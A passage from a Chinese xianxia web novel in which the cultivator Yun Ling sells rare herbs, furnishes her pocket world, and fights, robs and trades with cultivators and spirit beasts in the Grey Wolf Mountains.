劲装男子白了她一眼,却也不再多言,直接递给她一枚木牌,道:“这木牌乃入城之凭证,极为重要,切勿遗失。若遗失,还需再交灵石方能进城。”
云灵接过木牌,不再与那男子计较,转而好奇地观察起手中的木牌。只见木牌上刻着一些规则的图案,虽不懂其意,却能感受到它散发的能量。
云灵与小女孩一起步入城内,当她穿过城门时,感觉到一股无形的能量阻挡。手中的木牌散发出柔和的光芒,让她轻松通过了检查。
小女孩仰着头,眼中闪烁着敬仰,问道:“仙子姐姐,您初来乍到,需要我带路或熟悉灰狼城吗?”
云灵见有这等好事,不禁展颜一笑,说道:“好呀,有劳小妹妹了。”
城门口有一群孩童,或是与路人攀谈,或是自顾自玩耍,或是面露苦恼,或是满眼期待。他们见云灵步入城内,本欲上前,却见她身边的小女孩,便又连忙退了下去,只是远远地向小女孩点了点头示意。
城内的景象并不如云灵所想的那般繁华热闹,只见稀稀落落的行人,有的叫卖,有的争吵,各种声音交织成一曲生活的乐章。
云灵好奇地打量着路边的摊位和店铺里的货物,小女孩在她身边一一讲解,似乎对城内的一切了如指掌。
云灵的目光不经意间落在了小女孩的一双鞋上,那鞋与轮滑鞋相似,却更为精致,四个轮子转动间几乎无声。
小女孩见云灵的目光落在自己的鞋子上,便笑着解释道:“仙子姐姐,这叫做轮滑鞋,只需一颗灵珠,便能运转四个时辰。您也知道,我们凡人脚步不比仙人,若是没有这轮滑鞋,我怎能跟上您的脚步呢!”
听了小女孩的解释,云灵内心不由得生出一丝赞叹。她暗想,这发明轮滑鞋之人,必定心怀大善德,竟能让凡人也拥有这般速度。
云灵心中忽有所动,手心呈现十五株植物,她轻声问道:“小妹妹,这些是何物?”
小女孩眼中闪过一抹惊讶,道:“仙子姐姐,这些乃是灵药,但具体种类,我却是识不得。仙子姐姐,您何不用玉盒将它们装起?灵药若不以玉盒保存,药效便会迅速流失。”
云灵望着那些已失了大半能量的植物,心中微微一叹,正欲开口,却听小女孩又道:“仙子姐姐,这些灵药得尽快出手,否则时日一长,便无人问津了。”
“这灰狼城中,共有十三家药铺,我可为您一一道来……”待小女孩介绍完,云灵便决断道:“去暮家商会。”
“仙子姐姐,请随我来。”小女孩应声,脚下轮滑鞋加速,带着云灵直奔暮家商会而去。
半个时辰后,她们来到了城中心,这里繁华非凡,暮家商会和杨家商会便坐落于此。
城中心的街道两旁,店铺林立,行人如织,叫卖声、讨价还价声此起彼伏,一派热闹景象。
云灵随着小女孩的步伐,穿过熙熙攘攘的人群,来到了暮家商会的门前。商会的门面宽阔,装饰豪华,显得气派非凡。
暮家商会,遍布各地,从丹药到法器,从符箓到衣食住行,几乎涵盖了修士所需的一切。
在众多商会之中,暮家以其价格公道,信誉卓著,更胜杨家半筹。
此地的暮家商会,是一座七层高的楼阁,巍然矗立。小女孩在门口驻足,与同在此地的小伙伴闲聊,不再随云灵前行。
步入商会,云灵眼前豁然开朗。
一楼大厅宽敞明亮,主要经营丹药等商品。顾客们三三两两,或挑选,或询问,数十名侍者穿梭其间,热情而周到。
云灵步履轻盈,直向前台走去。
那里,一位老者正专注地翻阅着一本书籍。她轻敲台面,温声问道:“前辈,贵商会可收购药材?”
老者抬头,目光在云灵身上一扫,见她虽是练气期修士,也不轻视,微微颔首,语气平和道:“暮家只收百年以上的药材,不知小友手头可有?”
云灵开口道:“前辈,小女这里有万……”话未说完,却被老者打断:“小友,请随我来。”说罢,他起身引路,带着云灵步入一个隔间。
隔间内,老者启动禁制,确保谈话不被外人所闻。让云灵落座后,老者问道:“小友带来了何种药材,可否让老朽一观?”
云灵站起身,再次行了一礼,随着她挥手,茶桌上赫然出现了一株巨大的人参,根部还带着湿润的土壤,散发着淡淡的药材气息。
老者眼中闪过一丝震惊,但很快便恢复了平静,沉声道:“这是万年人参,若小友愿意出售,暮家愿出五百枚灵石收购。”
在福澜世界,万年人参几乎只存在于传说之中,因为人参极少能够平安生长至千年,其稀有程度可想而知。
云灵再次行礼,轻轻一挥手,五十株何首乌、五十株雪莲、五十株灵芝、四十九株人参凭空出现在茶桌上,桌上放不下的,便堆在地上,形成了一座小山。
老者激动得连声称赞:“好好好!”激动过后,他平复了心情,说道:“小友,这些药材,我可以作主,以五百五十枚灵石一株的价格收购,你觉得如何?”
云灵自然同意了,她的云霞世界中还有许多这样的万年药材,根本卖不完。
这些药材在云霞世界生长到万年后,便不再生长,但也不会腐烂。在云霞世界中,飞禽走兽也不会吞食或祸害它们,使得这些药材得以始终保持在最佳状态。
老者将药材一一收好,随后拿出一个储物袋,说道:“小友,这里面是二十二万枚灵石。”
云灵运用神力在双掌,接过储物袋,用意念探查了一番,确认里面确实有二十二万枚灵石,不多不少。
“前辈,我尚有些许灵药。”云灵说道,随即将那十五株灵药显化于掌心。
老者目光一扫,见药草已失了大半灵气,不禁轻叹:“这些灵药药性已大不如前,价格上,老朽只能出半数。”
云灵微微颔首,表示理解,便将这些灵药一并出售,共得百枚灵石。
她将灵石悉数转入云霞世界,随后将空无一物的储物袋交还给老者,道:“前
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辈,晚辈告辞。”便转身欲离去。
老者的声音忽从身后传来:“小友,我家大小姐名唤暮璃,若日后与她有所交集,还望小友能多加包涵。暮家日后定当置备厚礼,以示感激。”
云灵转身,回以一礼,道:“前辈放心,晚辈自会谨记。”言罢,她的身影渐渐消失在商会的门口,步入了灰狼城的繁华街道之中。
暮家商会的一楼隔间内,老者依旧坐在原位,但他的心思似乎已经飘到了远方,沉浸在自己的思绪之中。
五千年前,有一位奇人,身怀仙府,出手不凡,资质超群,令无数天之骄子黯然失色。
这位奇人某日得罪了当时顶尖世家之一的萧家嫡少爷,起初还处于下风,不得不四处逃亡。
但仅几个月后,他的实力突飞猛进,不仅轻松击败了萧家的少爷,更是毫不留情地将对方虐杀。
这一行为激怒了萧家,以至于化神期的修士亲自出手。
但令人震惊的是,那位奇人仿佛拥有不死之身,每次都能从死亡边缘逃脱,并且变得更加强大。
最终,他竟然一举灭掉了整个萧家,无论老少,无论修士凡人,无一幸免。
今日遇见的云灵,老者一眼便看出她也身怀仙府。
年仅十五岁便已达到练气五层圆满的境界,在修行界中绝对是数一数二的天娇。
修行之路何其艰难,灵根纯度仅有一成的修士,在没有寿命限制和瓶颈的情况下,也需要两百年才能修炼至练气圆满。
而云灵的修行速度之快,境界之稳固,远超同境界的修士,堪称恐怖。
老者之所以对云灵示好,并提前告知有关大小姐的名姓,是因为他不想与这样的存在为敌。
连化神修士都无法杀死的人,他更不会愚蠢到去尝试挑战。若真的招惹了云灵,一旦失败,整个暮家都可能遭受灭顶之灾。
思及此处,老者再也无法安坐,身形一晃,便离开了暮家商会。他必须亲自去向大小姐汇报这位奇人的情况,提醒大小姐要小心应对。
作为暮家的管家,他的修为已达到元婴大圆满。昨日偶然路过此地,顺便查看账目,今日却意外遇见了云灵这样的奇人。
如今,他感到不能再耽搁,必须立刻返回暮家,将此事告知暮家大小姐。
云灵步出暮家商会,便见那小女孩笑盈盈地迎了上来,她问道:“仙子姐姐,接下来您想去哪里?我带您去。”
云灵手心一展,十枚灵石已在掌中,递给小女孩,说道:“小妹妹,可知城中何处有住所?”
小女孩见状惊骇,她引路所得,最多不过一枚灵石,且需遇上慷慨的仙师仙子。她连连摆手,拒绝道:“仙子姐姐,这灵石太多,我只是引路而已,怎能收此重礼!”
“收下吧,这是姐姐赠你的。”云灵语气坚定,不容推辞。她拉过小女孩的手,将灵石轻轻放在她的掌心。
“多谢仙子姐姐!”小女孩感激涕零。
“嗯,那便帮姐姐找个长住的地方吧。”云灵笑道。
小女孩机灵地点头,引路在前,不时询问云灵的要求,以便找到合适的住所。
她果然不负所望,听了云灵的要求后,不久便找到了一处青砖瓦房。房子前有小院,栽满了花草树木,四周环境幽静,正合云灵之意。
在小女孩的帮助下,很快便与房东谈妥了价格。小女孩代云灵杀价,一番唇枪舌战后,以极低的价格租下了这所房子。
一切安排妥当后,小女孩询问云灵是否还有需要,准备告辞。
云灵却拦住了她,不顾她的推拒,又递给她十枚灵石,并从云霞世界中取出十数个硕大的水果,作为奖励。
“这些,都是姐姐的一点心意。”云灵微笑着说。
小女孩接过灵石和水果,心中感激不已,连连道谢,这才依依不舍地离开。
送走小女孩后,云灵转身踏入了租住的房子。
这是一间三室一厅的居所,陈设简朴,却已被打扫得一尘不染。
云灵神魂纯净,入道之后,身体亦是纯净不染尘埃,诸邪不侵,万毒不入。
然而,她并不会清洁术,便拿起扫帚,亲自动手打扫起来。
接着,她又取来布料,细心地擦拭每一件家具。
半个时辰过后,云灵终于停下了手中的活计,轻轻拍拍手,环顾四周,满意地点了点头。
房间内的每一处都被她打理得井井有条,虽无华丽装饰,却自有一番温馨与宁静。
50. 修行世界
云灵整理好屋舍,便走进卧室,盘腿坐在床上。
意念一动,便已进入了云霞世界。
“云霞,把世界上最大的山峰搬到这里来。”云灵对着天空说道。
随着云灵的命令,一声巨响震撼了大地,一座巨大的山峰缓缓飞来,最终落在了草原的中心,巍峨耸立。
云灵抬头望去,山峰高耸入云,瀑布从悬崖上倾泻而下,山泉清澈见底,各种飞禽走兽在此自由生活。树木繁茂,灵气浓郁,她仿佛置身于一个生态丰富的仙山福地中。
“云霞,把竹院搬到山顶上去!”云灵再次发出指令。
她的话音刚落,草原上的竹屋便消失了,云灵意念一动,也来到了山顶,眼前正是她熟悉的竹屋小院。
“云霞,在山腰给我留一个平台,把平台上的草木和生灵搬到别的地方去。”
云灵计划在山腰开垦一片药田,利用浓郁的灵气来滋养药材。
她决定把这座山峰命名为落凤峰,作为她在云霞世界的长久居所。
“云霞,于山腰平台为我开劈一块药田,须得十万倾!”然而,话音落下,却无回应。
云灵轻拍额头,心中郁闷,开辟药田之事,看来需她亲自动手。
但身为从未下田之人,她又如何能亲自动手?绝无可能!
修仙小说中多有傀儡之说,真实世界应该也有,云灵心念一动,决定次日前往暮家商会看看。
她还打算购置几套衣物,今日竟忘了,自己仍身着男子衣物,显得不伦不类。
次日清晨,云灵早早地奔向暮家商会。
昨日那老者已不在,一位侍者上前询问:“尊客,您需要些什么?”
云灵答道:“我想要件衣裳,你们售卖衣裳之处在何处?”
侍者恭敬地为她指引方向,云灵依言,沿着楼梯走向三楼。
三楼空间比一楼更为宽阔,衣裳琳琅满目,侍者们忙碌地为顾客服务。
云灵刚至,便有侍者上前询问,她再次说明需求,侍者便领着她挑选衣物,殷勤地在一旁服务。
云灵的神祇真眼无时无刻不在自行运转,她一眼便看穿,这里的衣物多由妖兽皮毛或蚕丝所制。
她微微皱眉,不愿触碰,转而巡视别处。
经过一番挑选,云灵终于发现了一些由灵木所制的衣物,这些灵木未曾孕育灵智,即便未被制成衣物,未来亦不会生出灵智。
在这些衣物之中,云灵挑选了一件极品法衣,乃是一件玫瑰凤纹裙,其华美与精致,令她颇为满意。
当然,亦有些衣物是由那些已生或将生灵智的灵木所制,对此,云灵自然不会选择。
云灵在三楼前台结算完毕后,她向前台侍者询问:“你们这里可有那种能自行种田种地的异宝?”
侍者恭敬回答:“尊客,您所说的可是灵植傀儡?我们这里确实有售,请至二楼,那里自会有人接待您。”
云灵点头,转身向二楼行去。
二楼法器琳琅满目,十八般兵器应有尽有。云灵刚至二楼,立刻有侍者上前接待,询问所需。
云灵提出要求,侍者便领她前往傀儡区挑选。
“尊客,这些便是您所需的灵植傀儡,它们能犁田、耙地、收获、种植、除草等功能,您看如何?”侍者介绍道。
云灵见这些灵植傀儡均未犯神祇理念之忌讳,便挑选了一个形态生动、似少女般娇嫩的女阴傀儡。
她对此傀儡十分满意,买下了这极品灵植傀儡。
归家之后,云灵意念微动,便已抵达云霞世界的落凤山之巅。
山腰,一片开阔之地,林木和妖兽已被转移,正是打算开辟种植之平台。
云灵指着灵植傀儡,呼唤道:“云霞,依此傀儡之形,为我演化万个。”
话音未落,只见平台上,密密麻麻出现了无数灵植傀儡,形态与云灵买回来的一模一样。
“言出法随!”云灵惊喜交加,她的试验竟然成功了。
只需将物品带来,云霞便能演化出无数相同之物,无需她亲自动手创造。
“云霞,以这灵石为样,为我演化十亿枚!”云灵再次下令。
天空中突然响起“哗啦啦”的声音,灵石如雨般降落。
云灵急忙道:“云霞,莫要降灵石雨,将它们安置于平台上!”
她的话音刚落,天空中的灵石雨便戛然而止,而在她面前,赫然出现了一座如山般的灵石堆,不多不少,正好十亿枚。
“发财啦!”云灵喜不自胜,蹦蹦跳跳,心中喜悦难以言表。
有了云霞,她只需专心修炼,无需为资源而烦恼。
虽说云灵修炼本不依赖外物,但未来总有用处。
云灵兴奋过后,下令灵植傀儡在山顶平台开辟药园。
灵植傀儡闻令而动,各司其职,犁地、耙地、扎围栏,功能各异,分工合作,忙碌而不乱。
极品灵植傀儡动作迅捷,一日之内,便将十万公顷土地开辟完毕。
云灵又命云霞将万年药材尽数移至药园,却发现十万公顷之地,竟难以容纳这些药材。
云灵感应了一番,发现想要把那些万年药材完全容纳,就算是这座落凤山,也完全不可能。
因此,云灵唤云霞将山腰平台完全复原。
云灵在云霞世界中沉浸了整整一个月,未曾踏出半步。
此时的落凤山四周,六座山脉如众星捧月般环绕,这些山脉,都是这个世界的大型山脉。
她将世界内所有的灵矿汇聚于一座山脉,命名为灵矿山;所有玉石则聚合于另一座,称为玉石山;金矿集中于金山,银矿则汇聚于银山。
剩下的两座山脉,一座聚合了万年药材,叫作药园山;另一作则计划用来种植灵药。
云霞世界,在云灵的规划下,除了落凤山、灵矿山、灵药山拥有浓郁的灵气覆盖之外,其余的地方都没有任何灵气。
而灵药山虽说灵气浓郁成雾,但在云灵的意志下,那里每日有足够的光照时间,如此一来,便无需灵植傀儡浇水施肥了。
一个月后,云灵自云霞世界踏出,她首先前往暮家商会,购得一个极品储物玉镯。
在修行界中,储物袋因其数量众多,价格最为亲民;而储物戒指、储物耳环、储物手镯、储物玉佩等异宝,因制作繁复,价格昂贵。
云灵之所以选择储物玉镯,实则为了掩人耳目,作为挡箭牌。
云霞世界虽无人能夺,但她亦不愿无端生事。
购得储物玉镯后,云灵又购置了万瓶下品聚灵丹,每瓶内含十颗聚灵丹。
一切准备就绪,云灵便踏上了前往灰狼山脉的旅程……
灰狼山脉的内外围交界处,传来一阵紧张的呼喊声,紧接着是激烈的打斗声。
“李兄、杨兄,拦住它,别让它逃了!”一个焦急的声音响起。
“陈兄放心,这头灰熊撑不了多久了!”回应他的是一个声音洪亮的修士,浓眉大眼,正是被称为李兄的人。
“陈兄,我的符箓快用完了,得速战速决!”另一位修士语气中透露出一丝焦虑,他长着斗鸡眼,显得有些紧张。
一声愤怒的吼叫划破了周围的宁静,一头巨大的妖兽——灰熊,正用它的巨掌向那位陈姓修士拍去。
三位修士与这头妖兽已经激战了好一会儿,此刻三人灵力几乎耗尽,符箓之类的也早已用完,身上更是添了不少伤势。
相比于他们,妖兽虽然在实力上占据上风,但在之前三位修士的符箓和术法攻势下,它并没有占到什么便宜,只能被动地承受攻击。
妖兽的全身都是宝。它们的皮可以用来制作衣物和符纸,毛发可以制成笔唰,肉质可以食用,有助于修为的提升,骨骼可以用来制作阵盘、阵旗或笔杆,血液也能用来制作符墨或炼制丹药。
与人类相比,妖兽通常拥有更强悍的体魄,但人类擅长借助外力,而妖兽往往只能依靠身躯进行战斗。
“陈兄,小心!”杨姓修士大声提醒,同时迅速扔出最后的一道符箓,是火球符,直击妖兽。
妖兽知道火球符的厉害,急忙收掌躲避,但火球符速度更快,直接击中了它。
一股焦味弥漫开来,妖兽痛
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苦地呻吟着。
火符不仅烧掉了它大半的毛发,还在继续灼烧着它的身体。
“唉,原本还想留你个全尸,没想到你还敢反抗,现在只能留下些骨骼了!”杨姓修士假装叹息,但语气中透露出一丝得意。
"吼!" 妖兽发出愤怒的吼叫,忍受着疼痛,向杨姓修士发起攻击。它身上的火焰仍在燃烧,毛发烧掉了,便烧皮烧肉。
"哼!斩妖除魔,是我辈修士的职责,今日我就要替天行道!" 杨姓修士冷哼一声,正义凛然地说道。
他立刻启动身法,迅速后退,但那头巨熊双眼通红,紧追不舍。
陈姓修士与李姓修士见杨姓修士遭到攻击,立刻挥剑冲上前去,双剑刺向巨熊的后背。
巨熊六感虽敏锐,但身体的剧痛让它的动作变得迟缓,未能及时躲避,结果被长剑刺入了身躯。
它忍痛怒吼,转身向后方修士反击。
两位修士迅速施展身法后退,陈姓修士使出缠绕术,灵气化作的藤蔓向妖兽缠绕而去,试图困住它。
巨熊力大无穷,一掌便将藤蔓拍散,继续向陈姓修士发起攻击。
李姓修士见状,立刻施展水箭术,一道水箭射向巨熊的后背,试图支援陈姓修士。
三位修士各据一方,与妖兽的战斗陷入了拉锯战。
每当有一位修士被妖兽攻击时,另两位修士就会趁机偷袭,反之,也一样。
巨熊虽然力大无穷,但在三位修士的默契配合下,也只能愤怒地咆哮。
随着时间的推移,巨熊身上的火焰虽灭了,但它此刻皮肉焦烂,让它痛苦不堪,加上反应的迟钝,让它的处境越来越不利,死亡似乎只是时间问题。
"哈哈哈,两位道友,等我们将这头熊和它守护的养灵草卖掉,我们可就大赚特赚了。" 陈姓修士得意地说道。
"今天多亏了两位道友出手相助,否则我可能已经死在这畜生手里了。" 杨姓修士感慨道。
"互相帮助,互相帮助。" 李姓修士回应道。
有灵药的地方往往就有妖兽守护。修士们寻找灵药,往往需要从妖兽手中夺取,这种你死我活的争斗是常有的事。
正当三位修士沉浸在即将获得的丰厚收获中时,他们突然感到一股强烈的危险气息,急忙运用身法进行躲避。
他们眼前突然出现了百道紫金色的光芒,这些光芒似乎拥有自己的意识,以迅雷不及掩耳之势疾射而来。
三位修士俱是大惊。
大多数修士的术法都是直线攻击,要想让术法心随意动,需要极强的神识来操控。
这种能力,通常只有筑基期的修士才能勉强做到。
三人瞬间意识到,他们可能招惹了某个高阶修士。
他们甚至还没来得及施展术法进行抵抗,那些紫金色的光芒就已经击中了他们,穿透了他们的身体。
在这种速度面前,他们连反应的时间都没有,身上瞬间出现了数十个大洞,随后重重摔倒在地。
不久,山林间出现了一位身着玫瑰凤纹裙的少女,她正是云灵。
这三位修士,便是被她出手击杀的。
她见三个修士已经断气,便没有上前查看,而是转向了那只奄奄一息的妖兽。
云灵看到巨熊的惨状,轻轻叹息一声,然后给它喂食了一些丹药。
她意念一动,凤女剑便出现在手中。
云灵小心地用凤女剑去割除巨熊身上的烂肉,却发现即使是锋利的凤女剑也无法轻易割动。
这时的云灵并不知道,她的凤女剑虽然是用玄铁打造,但终究是凡物。而巨熊作为练气圆满境界的妖兽,身躯强悍,不是凡物所能轻易损伤的。
云灵起身走向那三个修士散落的宝剑。她捡起一把,返回来,准备继续割除巨熊的烂肉。
吃了丹药的巨熊状况有所好转,它睁着一双巨大的熊眼,眼中流露出哀求的神情,看向云灵。
“别害怕,很快就好,我先帮你把烂肉清理掉。”云灵轻声安慰道。
说完,她拿起宝剑,认真地为大灰熊清理烂肉。
51. 修行世界
云灵的动作虽轻柔,但灰熊身上的烂肉与好肉相连,每一次割除,都让巨兽不时地颤抖。
她花了整整一个多时辰,才小心翼翼地将灰熊身上的烂肉全部割除。在这个过程中,妖兽因剧痛而多次昏厥,又因剧痛而醒来,如此反复。
处理完烂肉后,云灵又给灰熊喂了几颗丹药,然后运用神力,隔着半尺的距离为它疗伤。
原本气息奄奄的灰熊,突然感到一股温暖舒适的力量涌入体内,它的疼痛开始逐渐消退,仿佛整个身体都沐浴在温暖的海洋之中。
一个时辰后,在云灵的神力作用下,灰熊的伤口已经完全愈合,毛发也重新生长出来,甚至比之前更加亮丽。
恢复活力的灰熊站起身来,发出一声震天的怒吼,然后一掌挥向前方的树木,将其轻易地拍断。
兴奋之余,灰熊转身奔向那三个已死的修士,一掌一个,尽数拍成肉渣。
云灵为这巨熊疗伤,虽然神力并未减少丝毫,心神却耗费了不少。此刻的她不理巨熊,盘坐在地调息心神。
稍微恢复了一些心神的云灵站起身来,将那三个修士遗落的宝剑和储物袋都拾起来,直接放进储物玉镯。
“走吧,灰熊姑娘,我帮你疗伤可是耗费了不少丹药,你得好好补偿我,帮我找些灵药。”云灵一拍熊腰,眯着眼说道。
她的身形娇小,在庞大的母熊面前显得格外细小。
母熊耷拉着脑袋,虽然有些不情愿,但它吃了云灵的丹药,不得不满足她的要求。
灰狼山脉的灵药几乎被修士收刮干净了,云灵找寻数日,才寻到一株聚灵草。
妖兽比修士对于灵药的存在更为敏锐,如今有巨熊相助,云灵找寻灵药将更加简单。
然而,母熊似乎颇有心计,每逢遇到修士,便故意挑衅。
那些修士一旦动手,母熊便立刻躲至云灵身边,似乎在寻求她的庇护。
云灵心知肚明,母熊是在利用她的力量,斩杀那些心怀不轨的人类修士。
好在这些修士都身怀罪孽,云灵出手解决,正合神祇理念。
修士之间,为了资源和利益,常常相互残杀,更不用说对待被他们视为低等的妖兽和凡兽了,弱肉强食的法则残酷至极。
母熊借助云灵的力量,除掉了那些讨厌的人类修士。同时,也因为云灵不时给予的丹药,母熊的修为也得到了提升,最终成功突破,成为了二阶妖兽。
云灵与灰熊姑娘相伴数日,收获了不少灵药之后,便告辞离开。
灰熊姑娘也在与云灵分别后,踏入了属于二阶妖兽的内围。
这日,云灵察觉到远处有灵气波动的异样,便上前查看。
原来是一个长脸修士正在与一群长了一嘴钢牙的灰狼厮杀,不远处还有一个绿毛怪正虎视眈眈地盯着,似乎在等待机会捡漏。
云灵看出那绿毛怪是个草木妖兽,便打了个招呼,非常自来熟地开口道:“干看着做什么?上啊,弄死他。”
那长脸修士听闻,手中的剑一顿,就是这一疏忽,他的右臂又挨了一爪。
他气的想要骂人,这什么人啊,自己跟她无冤无仇的,一来就给他拉仇恨。
绿毛妖兽看着云灵,这少女刚一出现,它心中不仅生不出敌意,相反,她的感知里,这少女是可以全身心信任的那种。
云灵揣着手朝还在跟狼群酣战的长脸修士喊到,“怎么样?需要我帮忙吗?价格好商量哦。”
一剑逼退朝自己冲过来的灰狼,长脸修士回首对着身后的狼又是一剑,但没有用。
灰狼不仅拥有能切金断铁的锋利爪牙,其防御力也是刀枪不入,遇到狼群,一般修士还真吃不消。
云灵见他陷入苦战,又幸灾乐祸地道:“别挣扎了,你瞧瞧你身上多少伤,胸口、袖口都被血给渗透了,舍点小财就能保住你的命,这生意很划算的。”
长脸修士恨得牙痒痒,来者不善,这少女摆明了是在趁火打劫。
“不说话,那就是不愿意了?”云灵摇了摇头,“敬酒不吃吃罚酒,既然不愿意,那我就只能杀人夺宝咯。”
“你敢!你要是敢对我动手,我师兄是不会放过你的。”长脸修士肌肉紧绷,浑身汗毛竖立,他感知不到眼前这少女境界,这种情况要么是她有隐藏气息的异宝,要么是她的修为太高。
云灵撇嘴:“那你知道我是谁吗?” 仍被狼群围殴着的长脸修士老实答道:“不知道。”
云灵柳眉倒竖,“不知道你还敢这么狂?” 说完抬手就是神力化鞭直抽长脸修士,后者没想到她会直接动手,也没有防备,一个不留神左臂就传来一阵火辣辣的疼。
长脸修士躲避着狼群的攻击,眼睛恶狠狠地盯着云灵,太阳穴突突地跳着,一副想要不顾死活上前跟她拼命的架势。
“你居然真敢打我?”他怒吼道。
“打你就打你,难道还要挑日子?”云灵轻蔑地回应,挥手间,神力化作藤蔓,像离弦的箭矢般朝长脸修士疾射而去。
长脸修士前有狼后有藤,就在藤蔓即将穿透他心脏的瞬间,他没出息地同意了云灵的条件。
有道是留得青山在,不怕没柴烧。
“我投降!”他的话语喊出的瞬间,藤蔓也转瞬间消失。
“把你的储物袋还有法器扔过来。”云灵命令道。
长脸修士心中憋着气,最后还是不情不愿地取下腰间储物袋和手中长剑,运用灵力,疾射云灵方向。
“道友,大家都是同道中人,做事何必这么绝?”他尝试着和解。
云灵轻松接到储物袋和长剑,听闻此话翻了个白眼。
这修士神魂浑浊,不用想都知道是滥杀之辈,她没直接动手已经算是手下留情了。
“同道中人?你与邪魔何异?就算我出手,也是替天行道。”云灵冷冷说道,她的目光如刀,让长脸修士不禁打了个寒颤。
云灵环视着那些灰狼,轻声笑道:“各位,楞着干嘛?”
灰狼王眼中闪过一丝疑惑,似乎在说:“不是你说要保他的命吗?”
云灵仿佛读懂了灰狼王的眼神,她无辜地摊手道:“我是想保呀,但我哪有能力保住?你们那么厉害,我可不敢拦着。”
长脸修士听闻此言,脸色大变,刚想怒骂云灵,却不料狼群已经蜂拥而上,将他瞬间撕成了碎片。
云灵轻盈地转身跳到狼群中央,从储物袋内拿出一些丹药,每头狼分发一颗,道:“我得了好处,你们自然也有份,我可不是那种独吞的人。”
分发了丹药后,云灵又对群狼说道:“帮我寻找灵药,每寻到一株,我便用丹药作为交换。”
狼王听懂了她的话,带领群狼在山脉中寻找灵药。每找到一株,云灵便如约用丹药交换,她的储物玉镯渐渐充实,而狼群得到的丹药也越来越多。
云灵在灰狼山脉历练半年,收获颇丰。
回到灰狼城的住处后,她开始整理这半年来的成果。
她收集的两万多株聚灵草、养灵草,已全部移植到云霞世界的灵药山中,由灵植傀儡精心照料。
至于那些获得的储物袋,其中灵石合计两万枚,法器百多件,符箓若干,阵盘少许,以及一些衣物。
这些物品,除了灵石被她存入储物耳环外,其它的物品都被她整理分类。
法器被她单独装袋,准备拿到暮家商会去售卖。而符箓、阵盘、衣物和多余的储物袋,则被她放入云霞世界,用凤女神火焚烧了个干净。
随后,云灵将装着法器的储物袋去暮家商会售卖,经过侍者的点算和折旧折损后,法器最终换得了五千灵石。
在暮家商会购置了万瓶聚灵丹后,云灵未作片刻停留,即刻踏上了前往灰狼山脉的路途。
此行,她的目标是灰狼山脉内围。
灰狼城,不过是一座小城,筑基修士寥寥无几,更别提那些筑基以上的修士了。因此,灰狼山脉内围便成了少有修士敢于踏足的禁地。
云灵踏入内围山脉,却并未遭遇什么危险。这里的妖兽,除非发狂,否则不会轻易攻击她。
内围山脉人迹罕至,一切都保持着原始的风貌,破坏甚少。这也意味着,此处的灵药尚未遭受大规模的洗劫。
转眼间,云灵在灰狼山脉内围已待了整整四个月。这里果然是灵药的天堂,云灵除了与妖□□换灵药外,还寻得了许多无主的灵药。
然而,随着时间的推移,她的丹药也消耗了大半。由于灰狼山脉盛产聚灵草,养灵草已是罕见,更别提其它灵药了。
至此,云灵的灵药山栽种最多的便是聚灵草,养灵草较少,其余的灵药则一株也无
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“造灵果?”云灵惊讶出声。
只见那果树半丈之高,叶子翠绿色,边缘带有细小的锯齿,其上挂着十颗金黄色、圆润饱满的果子。
一列列的形状,与云灵所阅灵药大全中的描述无异。
云灵没想到自己竟有这般好运,这造灵果的功效神异无比。无论是有灵根还是无灵根之人,皆可食用。
无灵根者食用后,会长出灵根;有灵根者食用后,灵根亦会变化。然而,灵根的纯度与类型却是随机的。因此,这造灵果对于无灵根或灵根纯度低的人来说,是宝贝;但对于灵根纯度高的人来说,其价值并不大。
毕竟,没有哪个灵根纯度高的人会傻到食用造灵果,否则灵根随机变成纯度低的话,后悔莫及。
无论如何,这造灵果在外界也是不可多得的宝物,足以引发竞价的狂潮。
哪个家族没有悟性好却无灵根的族人?哪个家族没有灵根纯度低的族人?对于那些灵根纯度低的修士而言,它是一种改变命运的机会,足以引发哄抢。
对于这造灵果,云灵自然不可能放过。她正要前往移植进灵药山,离着丈许之距,便听到一个柔和如春风的声音传来:“小妹妹,不告而取是为偷喔!”
云灵转身,只见一位桃李年华的女子站在不远处,笑意盈盈地望着她。她发丝乌黑发亮,被精心挽成一个发髻,上面点缀着几朵艳丽的小花。她穿着一件精致的花裙,与她艳丽的气质相得益彰。
云灵神色尴尬,连忙解释道:“这位姐姐,我以为这是无主之物,所以……怪我太大意,还请姐姐见谅。”
云灵已经看出这位女子原身是一株百合,修为在金丹期。也怪她被造灵果的出现冲昏了头脑,忘记了周围的异常。
这里拥有造灵果这等宝物,怎么可能没有妖兽守护呢?而周围一个妖兽也没有,只能说明有更为强大的存在,绝不会是无主的。
女子听闻云灵的解释,娇艳一笑,并不生气,反而转眼间已身在云灵不足三尺之处,她好奇地问道:“你这修为,是怎么来到这里的?而且,我对你也生不起任何敌意呢?”
云灵执礼,解释道:“姐姐,我未曾滥杀无辜,或许是这样,才能平安到达这里吧?”
“嗯!”女子勉强信了这话,轻声问道:“这灵药,你想要?”
“确实想要,不过这灵药太过贵重,我身无长物,似乎没有什么能与姐姐交换的,所以……还是算了吧!”云灵真诚地回答,眼中闪过一丝遗憾。
“想要的话也不是不行!”女子说道,她一眼便看出云灵的不凡,心中竟生出一股莫名的信任,连伤害她的心思也提不起。
“呃!不知姐姐想要什么作为交换?先说好,我得能做到才行。”云灵回答,她实在想不出自己现在能拿什么来交换,金丹境界的强者,万年药材她肯定看不上,灵石她也不会放在眼里,除此之外,她还有什么能交换的?
“我想要的,是你的血液。”女子的话,让云灵心头一震,但她并未感应到女子有任何敌意与杀意,因此排除了女子想要她命的可能。
云灵不知自己的血液有何用处,但她毫不犹豫地答应了。一点血液而已,这个交易,她并不吃亏。
见云灵答应,女子在山中寻了一株竹子,轻轻一挥,将其从结节处分开,做成了一个竹杯,递给云灵盛放血液。
云灵接过竹杯,神力运转于指尖,在左手手腕轻轻一划,鲜血便匀速流入竹杯内。待竹杯盛满,她轻点穴道,伤口便停止了流血。再一看,那伤口以肉眼可见的速度愈合,转眼间,便恢复得完美无瑕,仿佛从未有过伤痕。
这一幕,让女子大为震撼。她活了这么多年,从未见过如此神异之人,也更加确认了云灵的不凡。
“小妹妹,那灵药,是你的了……有缘再见!”女子轻笑着,身形一晃,飞身而走。
云灵目送那女子离去,这才将那棵造灵果移植至灵药山,并让云霞演化出万棵,每棵生长百枚果实。
云灵此刻尚不知,她的鲜血,将给那位女子带来何等的机缘。她的身体已是神祇之躯,又身怀功德,让那位女子的修行之路,如同开了挂一般顺遂。
当然,这是云灵自愿交换的,若是被强迫,非但不会有任何神奇功效,反而会反噬自身,亵渎神祇者,天地不容。
52. 修行世界
一年的时光匆匆流逝,云灵的修为已臻至练气六层。
